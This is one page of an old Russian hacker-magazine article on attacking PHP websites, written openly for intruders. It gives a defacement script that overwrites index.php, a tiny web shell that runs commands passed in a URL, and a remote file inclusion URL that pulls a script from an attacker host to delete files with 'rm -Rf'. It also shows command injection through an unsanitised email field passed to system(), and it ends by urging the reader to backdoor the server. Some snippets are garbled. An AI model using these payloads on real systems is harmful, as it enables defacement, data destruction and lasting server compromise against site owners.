ВЗЛОМ PHP

Xakep, номер #041, стр. 041-062-2


Теперь о деструктивном скрипте, о том, что туда записать. Вопрос философский, но пару наработок я все же дам:

$a=fopen("$index.php", w);

fputs("$a, "Expropriated by Kautskiy!http://coolsite.url/hack.jpg>

From Siberia with love.

Regardz2: X-crew, Bill Gates and Monica Levintsky'", $a);

?>

Простенько и со вкусом, хотя можно пойти дальше:

$a=system($command);

echo "$a";

?>

Этот код, как ты понимаешь, выполнит на сервере команду из переменной $command.

Например, вот так:

http://victim/index.php?file=http://hacker/hack.php?command=rm%20-Rf

В PHP есть два оператора - require и include, которые считывают и выполняют код из указанного файла. Благодаря этому можно создать многократно используемые функции и константы в отдельном файле и вызывать их в остальных сценариях. (Часто для удобства конфигурации сценария все его настройки хранятся в небольшом скрипте, где их может легко редактировать не знающий языка человек, не боясь повредить основной код. Или, скажем, очень удобно включать куски html'я, чтобы многократно не выписывать одни и те же элементы.)

Функции, как видишь, полезны и для кодеров, и для хакеров ;). В чем разница между include(); и require();? Она незаметна, но принципиальна: require(); просто заменяется во время интерпретации кодом из указанного файла, а include(); вычисляет и выполняет код во внешнем файле при каждом обнаружении оператора include. Это позволяет использовать функцию в циклах, что было бы невозможным с require. И еще. При выполнении эти функции возвращают значения - если возникла проблема, то false, если все ОК, то true. Разница в том, что при возникновении трабла с require сценарий будет остановлен, в случае, если используется include, его выполнение продолжится. Таким образом, require, в общем-то, эквивалентен коду:

If(!include(file.php))

{ exit; } else { ... }

?>

Вообще, функция system выполняет любую команду на сервере, возвращая результат ее выполнения. На ней, кстати говоря, много багов основано. Например, для отправки почты часто используется вот такой код:

System("mail $email < text.of.letter.txt");

Однако, если $email имеет вид "--blahundragogo; rm-Rf; lohundra", то опять произойдет удаление всех файлов и подкаталогов относительно этой директории.

Смотри сам:

System("mail -blahundragogo; rm-Rf; lohundra < text.of.letter.txt");

Тут команда состоит из трех частей:

1) mail -blahundra - недопустимый флаг к функции mail, игнорируется;

2) rm-Rf - деструктивная функция;

3) lohundra < text.of.letter.txt - тоже белиберда.

По моим сведениям, эта дырень появилась в багтраках относительно недавно, и на момент написания статьи никаких патчей выпущено не было, а на официальном сайте лежала дырявая версия. Кстати, чуть не забыл. Эта уязвимость позволяет пробэкдорить сервер! Т.е. просто создаешь где-нибудь далеко-далеко, в далекой директории файл lala.php, в который пишешь, например, вот это:

Назад на стр. 041-062-1  Содержание  Вперед на стр. 041-062-3